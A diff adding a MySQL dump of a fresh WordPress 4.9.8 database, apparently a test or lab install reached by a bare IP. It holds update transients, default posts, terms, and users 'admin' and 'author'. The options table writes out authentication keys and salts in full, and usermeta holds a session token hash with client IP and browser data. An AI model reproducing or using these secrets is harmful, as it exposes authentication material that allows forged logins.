8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:17:\"wp_update_plugins\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:16:\"wp_update_themes\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1551159825;a:2:{s:19:\"wp_scheduled_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}s:25:\"delete_expired_transients\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}s:7:\"version\";i:2;}','yes'),(114,'theme_mods_twentyseventeen','a:1:{s:18:\"custom_css_post_id\";i:-1;}','yes'),(118,'_site_transient_update_core','O:8:\"stdClass\":4:{s:7:\"updates\";a:5:{i:0;O:8:\"stdClass\":10:{s:8:\"response\";s:7:\"upgrade\";s:8:\"download\";s:57:\"https://downloads.wordpress.org/release/wordpress-5.1.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:57:\"https://downloads.wordpress.org/release/wordpress-5.1.zip\";s:10:\"no_content\";s:68:\"https://downloads.wordpress.org/release/wordpress-5.1-no-content.zip\";s:11:\"new_bundled\";s:69:\"https://downloads.wordpress.org/release/wordpress-5.1-new-bundled.zip\";s:7:\"partial\";b:0;s:8:\"rollback\";b:0;}s:7:\"current\";s:3:\"5.1\";s:7:\"version\";s:3:\"5.1\";s:11:\"php_version\";s:5:\"5.2.4\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"5.0\";s:15:\"partial_version\";s:0:\"\";}i:1;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:57:\"https://downloads.wordpress.org/release/wordpress-5.1.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:57:\"https://downloads.wordpress.org/release/wordpress-5.1.zip\";s:10:\"no_content\";s:68:\"https://downloads.wordpress.org/release/wordpress-5.1-no-content.zip\";s:11:\"new_bundled\";s:69:\"https://downloads.wordpress.org/release/wordpress-5.1-new-bundled.zip\";s:7:\"partial\";b:0;s:8:\"rollback\";b:0;}s:7:\"current\";s:3:\"5.1\";s:7:\"version\";s:3:\"5.1\";s:11:\"php_version\";s:5:\"5.2.4\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"5.0\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}i:2;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:59:\"https://downloads.wordpress.org/release/wordpress-5.0.3.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:59:\"https://downloads.wordpress.org/release/wordpress-5.0.3.zip\";s:10:\"no_content\";s:70:\"https://downloads.wordpress.org/release/wordpress-5.0.3-no-content.zip\";s:11:\"new_bundled\";s:71:\"https://downloads.wordpress.org/release/wordpress-5.0.3-new-bundled.zip\";s:7:\"partial\";b:0;s:8:\"rollback\";b:0;}s:7:\"current\";s:5:\"5.0.3\";s:7:\"version\";s:5:\"5.0.3\";s:11:\"php_version\";s:5:\"5.2.4\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"5.0\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}i:3;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:59:\"https://downloads.wordpress.org/release/wordpress-5.0.2.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:59:\"https://downloads.wordpress.org/release/wordpress-5.0.2.zip\";s:10:\"no_content\";s:70:\"https://downloads.wordpress.org/release/wordpress-5.0.2-no-content.zip\";s:11:\"new_bundled\";s:71:\"https://downloads.wordpress.org/release/wordpress-5.0.2-new-bundled.zip\";s:7:\"partial\";b:0;s:8:\"rollback\";b:0;}s:7:\"current\";s:5:\"5.0.2\";s:7:\"version\";s:5:\"5.0.2\";s:11:\"php_version\";s:5:\"5.2.4\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"5.0\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}i:4;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:59:\"https://downloads.wordpress.org/release/wordpress-4.9.9.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:59:\"https://downloads.wordpress.org/release/wordpress-4.9.9.zip\";s:10:\"no_content\";s:70:\"https://downloads.wordpress.org/release/wordpress-4.9.9-no-content.zip\";s:11:\"new_bundled\";s:71:\"https://downloads.wordpress.org/release/wordpress-4.9.9-new-bundled.zip\";s:7:\"partial\";s:69:\"https://downloads.wordpress.org/release/wordpress-4.9.9-partial-8.zip\";s:8:\"rollback\";s:70:\"https://downloads.wordpress.org/release/wordpress-4.9.9-rollback-8.zip\";}s:7:\"current\";s:5:\"4.9.9\";s:7:\"version\";s:5:\"4.9.9\";s:11:\"php_version\";s:5:\"5.2.4\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"5.0\";s:15:\"partial_version\";s:5:\"4.9.8\";s:9:\"new_files\";s:0:\"\";}}s:12:\"last_checked\";i:1551073419;s:15:\"version_checked\";s:5:\"4.9.8\";s:12:\"translations\";a:0:{}}','no'),(119,'_site_transient_update_plugins','O:8:\"stdClass\":4:{s:12:\"last_checked\";i:1551073419;s:8:\"response\";a:1:{s:19:\"akismet/akismet.php\";O:8:\"stdClass\":12:{s:2:\"id\";s:21:\"w.org/plugins/akismet\";s:4:\"slug\";s:7:\"akismet\";s:6:\"plugin\";s:19:\"akismet/akismet.php\";s:11:\"new_version\";s:5:\"4.1.1\";s:3:\"url\";s:38:\"https://wordpress.org/plugins/akismet/\";s:7:\"package\";s:56:\"https://downloads.wordpress.org/plugin/akismet.4.1.1.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:59:\"https://ps.w.org/akismet/assets/icon-256x256.png?rev=969272\";s:2:\"1x\";s:59:\"https://ps.w.org/akismet/assets/icon-128x128.png?rev=969272\";}s:7:\"banners\";a:1:{s:2:\"1x\";s:61:\"https://ps.w.org/akismet/assets/banner-772x250.jpg?rev=479904\";}s:11:\"banners_rtl\";a:0:{}s:6:\"tested\";s:3:\"5.1\";s:12:\"requires_php\";b:0;s:13:\"compatibility\";O:8:\"stdClass\":0:{}}}s:12:\"translations\";a:0:{}s:9:\"no_update\";a:1:{s:9:\"hello.php\";O:8:\"stdClass\":9:{s:2:\"id\";s:25:\"w.org/plugins/hello-dolly\";s:4:\"slug\";s:11:\"hello-dolly\";s:6:\"plugin\";s:9:\"hello.php\";s:11:\"new_version\";s:3:\"1.6\";s:3:\"url\";s:42:\"https://wordpress.org/plugins/hello-dolly/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/plugin/hello-dolly.1.6.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:63:\"https://ps.w.org/hello-dolly/assets/icon-256x256.jpg?rev=969907\";s:2:\"1x\";s:63:\"https://ps.w.org/hello-dolly/assets/icon-128x128.jpg?rev=969907\";}s:7:\"banners\";a:1:{s:2:\"1x\";s:65:\"https://ps.w.org/hello-dolly/assets/banner-772x250.png?rev=478342\";}s:11:\"banners_rtl\";a:0:{}}}}','no'),(120,'_site_transient_timeout_theme_roots','1551075220','no'),(121,'_site_transient_theme_roots','a:3:{s:13:\"twentyfifteen\";s:7:\"/themes\";s:15:\"twentyseventeen\";s:7:\"/themes\";s:13:\"twentysixteen\";s:7:\"/themes\";}','no'),(122,'_site_transient_update_themes','O:8:\"stdClass\":4:{s:12:\"last_checked\";i:1551073421;s:7:\"checked\";a:3:{s:13:\"twentyfifteen\";s:3:\"2.0\";s:15:\"twentyseventeen\";s:3:\"1.7\";s:13:\"twentysixteen\";s:3:\"1.5\";}s:8:\"response\";a:3:{s:13:\"twentyfifteen\";a:4:{s:5:\"theme\";s:13:\"twentyfifteen\";s:11:\"new_version\";s:3:\"2.4\";s:3:\"url\";s:43:\"https://wordpress.org/themes/twentyfifteen/\";s:7:\"package\";s:59:\"https://downloads.wordpress.org/theme/twentyfifteen.2.4.zip\";}s:15:\"twentyseventeen\";a:4:{s:5:\"theme\";s:15:\"twentyseventeen\";s:11:\"new_version\";s:3:\"2.1\";s:3:\"url\";s:45:\"https://wordpress.org/themes/twentyseventeen/\";s:7:\"package\";s:61:\"https://downloads.wordpress.org/theme/twentyseventeen.2.1.zip\";}s:13:\"twentysixteen\";a:4:{s:5:\"theme\";s:13:\"twentysixteen\";s:11:\"new_version\";s:3:\"1.9\";s:3:\"url\";s:43:\"https://wordpress.org/themes/twentysixteen/\";s:7:\"package\";s:59:\"https://downloads.wordpress.org/theme/twentysixteen.1.9.zip\";}}s:12:\"translations\";a:0:{}}','no'),(123,'auth_key','D.QV)t!P<THPgH EjXY]O&u^&~-yHUyz-amn\|i,FJ<]ca,,pf#h^Sq,v=#A)0m)','no'),(124,'auth_salt','ko{NzusQ#>-y7G^+~X6/6wEri^b<aUm=6K%)R?e\|N35Jpo,/dp?36$oq-[Y_<e0','no'),(125,'logged_in_key','#}TOgjMOfcv3A2;Or2PGjh#wWyR%io.eOahL&YpD{rrTe3+5Zt[AozP&NUNg/am>','no'),(126,'logged_in_salt','7P\|{UegodvhXR{Gt}PZ~5;4PM8cS@#DG{&:nzZ0UNsrY,+RM-Q{CY)@fsHr(I13','no'),(127,'_site_transient_timeout_browser_ebe1c806e77963130b79c43f8a872e28','1551678226','no'),(128,'_site_transient_browser_ebe1c806e77963130b79c43f8a872e28','a:10:{s:4:\"name\";s:7:\"Firefox\";s:7:\"version\";s:4:\"60.0\";s:8:\"platform\";s:9:\"Macintosh\";s:10:\"update_url\";s:24:\"https://www.firefox.com/\";s:7:\"img_src\";s:44:\"http://s.w.org/images/browsers/firefox.png?1\";s:11:\"img_src_ssl\";s:45:\"https://s.w.org/images/browsers/firefox.png?1\";s:15:\"current_version\";s:2:\"56\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;s:6:\"mobile\";b:0;}','no'),(130,'can_compress_scripts','0','no'),(131,'_transient_timeout_dash_v2_88ae138922fe95674369b1cb3d215a2b','1551116629','no'),(132,'_transient_dash_v2_88ae138922fe95674369b1cb3d215a2b','<div class=\"rss-widget\"><ul><li>An error has occurred, which probably means the feed is down. Try again later.</li></ul></div><div class=\"rss-widget\"><ul><li>An error has occurred, which probably means the feed is down. Try again later.</li></ul></div>','no'),(133,'_site_transient_timeout_community-events-4bb46720515ff70ed6afb444c74ed0d4','1551116630','no'),(134,'_site_transient_community-events-4bb46720515ff70ed6afb444c74ed0d4','a:2:{s:8:\"location\";a:1:{s:2:\"ip\";s:13:\"205.251.233.0\";}s:6:\"events\";a:2:{i:0;a:7:{s:4:\"type\";s:6:\"meetup\";s:5:\"title\";s:56:\"What\'s new with Gutenberg: Ways to make it work for you.\";s:3:\"url\";s:47:\"https://www.meetup.com/pdx-wp/events/258837904/\";s:6:\"meetup\";s:25:\"Portland WordPress Meetup\";s:10:\"meetup_url\";s:30:\"https://www.meetup.com/pdx-wp/\";s:4:\"date\";s:19:\"2019-03-04 18:00:00\";s:8:\"location\";a:4:{s:8:\"location\";s:17:\"Portland, OR, USA\";s:7:\"country\";s:2:\"us\";s:8:\"latitude\";d:45.522106000000001;s:9:\"longitude\";d:-122.67613;}}i:1;a:7:{s:4:\"type\";s:8:\"wordcamp\";s:5:\"title\";s:24:\"WordCamp Seattle, WA USA\";s:3:\"url\";s:33:\"https://2019.seattle.wordcamp.org\";s:6:\"meetup\";N;s:10:\"meetup_url\";N;s:4:\"date\";s:19:\"2019-11-09 00:00:00\";s:8:\"location\";a:4:{s:8:\"location\";s:15:\"Seattle, WA USA\";s:7:\"country\";s:2:\"US\";s:8:\"latitude\";d:47.611655800000001;s:9:\"longitude\";d:-122.3315194;}}}}','no');
146	+	/!40000 ALTER TABLE `wp_options` ENABLE KEYS /;
147	+	UNLOCK TABLES;
148	+
149	+	--
150	+	-- Table structure for table `wp_postmeta`
151	+	--
152	+
153	+	DROP TABLE IF EXISTS `wp_postmeta`;
154	+	/!40101 SET @saved_cs_client = @@character_set_client /;
155	+	/!40101 SET character_set_client = utf8 /;
156	+	CREATE TABLE `wp_postmeta` (
157	+	`meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
158	+	`post_id` bigint(20) unsigned NOT NULL DEFAULT '0',
159	+	`meta_key` varchar(255) COLLATE utf8mb4_unicode_520_ci DEFAULT NULL,
160	+	`meta_value` longtext COLLATE utf8mb4_unicode_520_ci,
161	+	PRIMARY KEY (`meta_id`),
162	+	KEY `post_id` (`post_id`),
163	+	KEY `meta_key` (`meta_key`(191))
164	+	) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
165	+	/!40101 SET character_set_client = @saved_cs_client /;
166	+
167	+	--
168	+	-- Dumping data for table `wp_postmeta`
169	+	--
170	+
171	+	LOCK TABLES `wp_postmeta` WRITE;
172	+	/!40000 ALTER TABLE `wp_postmeta` DISABLE KEYS /;
173	+	INSERT INTO `wp_postmeta` VALUES (1,2,'_wp_page_template','default'),(2,3,'_wp_page_template','default');
174	+	/!40000 ALTER TABLE `wp_postmeta` ENABLE KEYS /;
175	+	UNLOCK TABLES;
176	+
177	+	--
178	+	-- Table structure for table `wp_posts`
179	+	--
180	+
181	+	DROP TABLE IF EXISTS `wp_posts`;
182	+	/!40101 SET @saved_cs_client = @@character_set_client /;
183	+	/!40101 SET character_set_client = utf8 /;
184	+	CREATE TABLE `wp_posts` (
185	+	`ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
186	+	`post_author` bigint(20) unsigned NOT NULL DEFAULT '0',
187	+	`post_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
188	+	`post_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
189	+	`post_content` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL,
190	+	`post_title` text COLLATE utf8mb4_unicode_520_ci NOT NULL,
191	+	`post_excerpt` text COLLATE utf8mb4_unicode_520_ci NOT NULL,
192	+	`post_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'publish',
193	+	`comment_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'open',
194	+	`ping_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'open',
195	+	`post_password` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
196	+	`post_name` varchar(200) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
197	+	`to_ping` text COLLATE utf8mb4_unicode_520_ci NOT NULL,
198	+	`pinged` text COLLATE utf8mb4_unicode_520_ci NOT NULL,
199	+	`post_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
200	+	`post_modified_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
201	+	`post_content_filtered` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL,
202	+	`post_parent` bigint(20) unsigned NOT NULL DEFAULT '0',
203	+	`guid` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
204	+	`menu_order` int(11) NOT NULL DEFAULT '0',
205	+	`post_type` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'post',
206	+	`post_mime_type` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
207	+	`comment_count` bigint(20) NOT NULL DEFAULT '0',
208	+	PRIMARY KEY (`ID`),
209	+	KEY `post_name` (`post_name`(191)),
210	+	KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`),
211	+	KEY `post_parent` (`post_parent`),
212	+	KEY `post_author` (`post_author`)
213	+	) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
214	+	/!40101 SET character_set_client = @saved_cs_client /;
215	+
216	+	--
217	+	-- Dumping data for table `wp_posts`
218	+	--
219	+
220	+	LOCK TABLES `wp_posts` WRITE;
221	+	/!40000 ALTER TABLE `wp_posts` DISABLE KEYS /;
222	+	INSERT INTO `wp_posts` VALUES (1,1,'2019-02-25 05:43:35','2019-02-25 05:43:35','Welcome to WordPress. This is your first post. Edit or delete it, then start writing!','Hello world!','','publish','open','open','','hello-world','','','2019-02-25 05:43:35','2019-02-25 05:43:35','',0,'http://180.76.234.24/wp4.9.8/?p=1',0,'post','',1),(2,1,'2019-02-25 05:43:35','2019-02-25 05:43:35','This is an example page. It\'s different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:\n\n<blockquote>Hi there! I\'m a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like piña coladas. (And gettin\' caught in the rain.)</blockquote>\n\n...or something like this:\n\n<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>\n\nAs a new WordPress user, you should go to <a href=\"http://180.76.234.24/wp4.9.8/wp-admin/\">your dashboard</a> to delete this page and create new pages for your content. Have fun!','Sample Page','','publish','closed','open','','sample-page','','','2019-02-25 05:43:35','2019-02-25 05:43:35','',0,'http://180.76.234.24/wp4.9.8/?page_id=2',0,'page','',0),(3,1,'2019-02-25 05:43:35','2019-02-25 05:43:35','<h2>Who we are</h2><p>Our website address is: http://180.76.234.24/wp4.9.8.</p><h2>What personal data we collect and why we collect it</h2><h3>Comments</h3><p>When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor’s IP address and browser user agent string to help spam detection.</p><p>An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment.</p><h3>Media</h3><p>If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website.</p><h3>Contact forms</h3><h3>Cookies</h3><p>If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year.</p><p>If you have an account and you log in to this site, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser.</p><p>When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select "Remember Me", your login will persist for two weeks. If you log out of your account, the login cookies will be removed.</p><p>If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day.</p><h3>Embedded content from other websites</h3><p>Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website.</p><p>These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.</p><h3>Analytics</h3><h2>Who we share your data with</h2><h2>How long we retain your data</h2><p>If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue.</p><p>For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information.</p><h2>What rights you have over your data</h2><p>If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes.</p><h2>Where we send your data</h2><p>Visitor comments may be checked through an automated spam detection service.</p><h2>Your contact information</h2><h2>Additional information</h2><h3>How we protect your data</h3><h3>What data breach procedures we have in place</h3><h3>What third parties we receive data from</h3><h3>What automated decision making and/or profiling we do with user data</h3><h3>Industry regulatory disclosure requirements</h3>','Privacy Policy','','draft','closed','open','','privacy-policy','','','2019-02-25 05:43:35','2019-02-25 05:43:35','',0,'http://180.76.234.24/wp4.9.8/?page_id=3',0,'page','',0),(4,1,'2019-02-25 05:43:46','0000-00-00 00:00:00','','Auto Draft','','auto-draft','open','open','','','','','2019-02-25 05:43:46','0000-00-00 00:00:00','',0,'http://180.76.234.24/wp4.9.8/?p=4',0,'post','',0);
223	+	/!40000 ALTER TABLE `wp_posts` ENABLE KEYS /;
224	+	UNLOCK TABLES;
225	+
226	+	--
227	+	-- Table structure for table `wp_term_relationships`
228	+	--
229	+
230	+	DROP TABLE IF EXISTS `wp_term_relationships`;
231	+	/!40101 SET @saved_cs_client = @@character_set_client /;
232	+	/!40101 SET character_set_client = utf8 /;
233	+	CREATE TABLE `wp_term_relationships` (
234	+	`object_id` bigint(20) unsigned NOT NULL DEFAULT '0',
235	+	`term_taxonomy_id` bigint(20) unsigned NOT NULL DEFAULT '0',
236	+	`term_order` int(11) NOT NULL DEFAULT '0',
237	+	PRIMARY KEY (`object_id`,`term_taxonomy_id`),
238	+	KEY `term_taxonomy_id` (`term_taxonomy_id`)
239	+	) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
240	+	/!40101 SET character_set_client = @saved_cs_client /;
241	+
242	+	--
243	+	-- Dumping data for table `wp_term_relationships`
244	+	--
245	+
246	+	LOCK TABLES `wp_term_relationships` WRITE;
247	+	/!40000 ALTER TABLE `wp_term_relationships` DISABLE KEYS /;
248	+	INSERT INTO `wp_term_relationships` VALUES (1,1,0);
249	+	/!40000 ALTER TABLE `wp_term_relationships` ENABLE KEYS /;
250	+	UNLOCK TABLES;
251	+
252	+	--
253	+	-- Table structure for table `wp_term_taxonomy`
254	+	--
255	+
256	+	DROP TABLE IF EXISTS `wp_term_taxonomy`;
257	+	/!40101 SET @saved_cs_client = @@character_set_client /;
258	+	/!40101 SET character_set_client = utf8 /;
259	+	CREATE TABLE `wp_term_taxonomy` (
260	+	`term_taxonomy_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
261	+	`term_id` bigint(20) unsigned NOT NULL DEFAULT '0',
262	+	`taxonomy` varchar(32) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
263	+	`description` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL,
264	+	`parent` bigint(20) unsigned NOT NULL DEFAULT '0',
265	+	`count` bigint(20) NOT NULL DEFAULT '0',
266	+	PRIMARY KEY (`term_taxonomy_id`),
267	+	UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
268	+	KEY `taxonomy` (`taxonomy`)
269	+	) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
270	+	/!40101 SET character_set_client = @saved_cs_client /;
271	+
272	+	--
273	+	-- Dumping data for table `wp_term_taxonomy`
274	+	--
275	+
276	+	LOCK TABLES `wp_term_taxonomy` WRITE;
277	+	/!40000 ALTER TABLE `wp_term_taxonomy` DISABLE KEYS /;
278	+	INSERT INTO `wp_term_taxonomy` VALUES (1,1,'category','',0,1);
279	+	/!40000 ALTER TABLE `wp_term_taxonomy` ENABLE KEYS /;
280	+	UNLOCK TABLES;
281	+
282	+	--
283	+	-- Table structure for table `wp_termmeta`
284	+	--
285	+
286	+	DROP TABLE IF EXISTS `wp_termmeta`;
287	+	/!40101 SET @saved_cs_client = @@character_set_client /;
288	+	/!40101 SET character_set_client = utf8 /;
289	+	CREATE TABLE `wp_termmeta` (
290	+	`meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
291	+	`term_id` bigint(20) unsigned NOT NULL DEFAULT '0',
292	+	`meta_key` varchar(255) COLLATE utf8mb4_unicode_520_ci DEFAULT NULL,
293	+	`meta_value` longtext COLLATE utf8mb4_unicode_520_ci,
294	+	PRIMARY KEY (`meta_id`),
295	+	KEY `term_id` (`term_id`),
296	+	KEY `meta_key` (`meta_key`(191))
297	+	) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
298	+	/!40101 SET character_set_client = @saved_cs_client /;
299	+
300	+	--
301	+	-- Dumping data for table `wp_termmeta`
302	+	--
303	+
304	+	LOCK TABLES `wp_termmeta` WRITE;
305	+	/!40000 ALTER TABLE `wp_termmeta` DISABLE KEYS /;
306	+	/!40000 ALTER TABLE `wp_termmeta` ENABLE KEYS /;
307	+	UNLOCK TABLES;
308	+
309	+	--
310	+	-- Table structure for table `wp_terms`
311	+	--
312	+
313	+	DROP TABLE IF EXISTS `wp_terms`;
314	+	/!40101 SET @saved_cs_client = @@character_set_client /;
315	+	/!40101 SET character_set_client = utf8 /;
316	+	CREATE TABLE `wp_terms` (
317	+	`term_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
318	+	`name` varchar(200) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
319	+	`slug` varchar(200) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
320	+	`term_group` bigint(10) NOT NULL DEFAULT '0',
321	+	PRIMARY KEY (`term_id`),
322	+	KEY `slug` (`slug`(191)),
323	+	KEY `name` (`name`(191))
324	+	) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
325	+	/!40101 SET character_set_client = @saved_cs_client /;
326	+
327	+	--
328	+	-- Dumping data for table `wp_terms`
329	+	--
330	+
331	+	LOCK TABLES `wp_terms` WRITE;
332	+	/!40000 ALTER TABLE `wp_terms` DISABLE KEYS /;
333	+	INSERT INTO `wp_terms` VALUES (1,'Uncategorized','uncategorized',0);
334	+	/!40000 ALTER TABLE `wp_terms` ENABLE KEYS /;
335	+	UNLOCK TABLES;
336	+
337	+	--
338	+	-- Table structure for table `wp_usermeta`
339	+	--
340	+
341	+	DROP TABLE IF EXISTS `wp_usermeta`;
342	+	/!40101 SET @saved_cs_client = @@character_set_client /;
343	+	/!40101 SET character_set_client = utf8 /;
344	+	CREATE TABLE `wp_usermeta` (
345	+	`umeta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
346	+	`user_id` bigint(20) unsigned NOT NULL DEFAULT '0',
347	+	`meta_key` varchar(255) COLLATE utf8mb4_unicode_520_ci DEFAULT NULL,
348	+	`meta_value` longtext COLLATE utf8mb4_unicode_520_ci,
349	+	PRIMARY KEY (`umeta_id`),
350	+	KEY `user_id` (`user_id`),
351	+	KEY `meta_key` (`meta_key`(191))
352	+	) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
353	+	/!40101 SET character_set_client = @saved_cs_client /;
354	+
355	+	--
356	+	-- Dumping data for table `wp_usermeta`
357	+	--
358	+
359	+	LOCK TABLES `wp_usermeta` WRITE;
360	+	/!40000 ALTER TABLE `wp_usermeta` DISABLE KEYS /;
361	+	INSERT INTO `wp_usermeta` VALUES (1,1,'nickname','admin'),(2,1,'first_name',''),(3,1,'last_name',''),(4,1,'description',''),(5,1,'rich_editing','true'),(6,1,'syntax_highlighting','true'),(7,1,'comment_shortcuts','false'),(8,1,'admin_color','fresh'),(9,1,'use_ssl','0'),(10,1,'show_admin_bar_front','true'),(11,1,'locale',''),(12,1,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'),(13,1,'wp_user_level','10'),(14,1,'dismissed_wp_pointers','wp496_privacy'),(15,1,'show_welcome_panel','1'),(16,1,'session_tokens','a:1:{s:64:\"6c753d89a267d6dc5f061d0d2925848c95077de17877db9ab9b2fdbd28f57640\";a:4:{s:10:\"expiration\";i:1551246225;s:2:\"ip\";s:14:\"205.251.233.50\";s:2:\"ua\";s:82:\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0\";s:5:\"login\";i:1551073425;}}'),(17,1,'wp_dashboard_quick_press_last_post_id','4'),(18,1,'community-events-location','a:1:{s:2:\"ip\";s:13:\"205.251.233.0\";}'),(19,2,'nickname','author'),(20,2,'first_name',''),(21,2,'last_name',''),(22,2,'description',''),(23,2,'rich_editing','true'),(24,2,'syntax_highlighting','true'),(25,2,'comment_shortcuts','false'),(26,2,'admin_color','fresh'),(27,2,'use_ssl','0'),(28,2,'show_admin_bar_front','true'),(29,2,'locale',''),(30,2,'wp_capabilities','a:1:{s:6:\"author\";b:1;}'),(31,2,'wp_user_level','2'),(32,2,'dismissed_wp_pointers','wp496_privacy');
362	+	/!40000 ALTER TABLE `wp_usermeta` ENABLE KEYS /;
363	+	UNLOCK TABLES;
364	+
365	+	--
366	+	-- Table structure for table `wp_users`
367	+	--
368	+
369	+	DROP TABLE IF EXISTS `wp_users`;
370	+	/!40101 SET @saved_cs_client = @@character_set_client /;
371	+	/!40101 SET character_set_client = utf8 /;
372	+	CREATE TABLE `wp_users` (
373	+	`ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
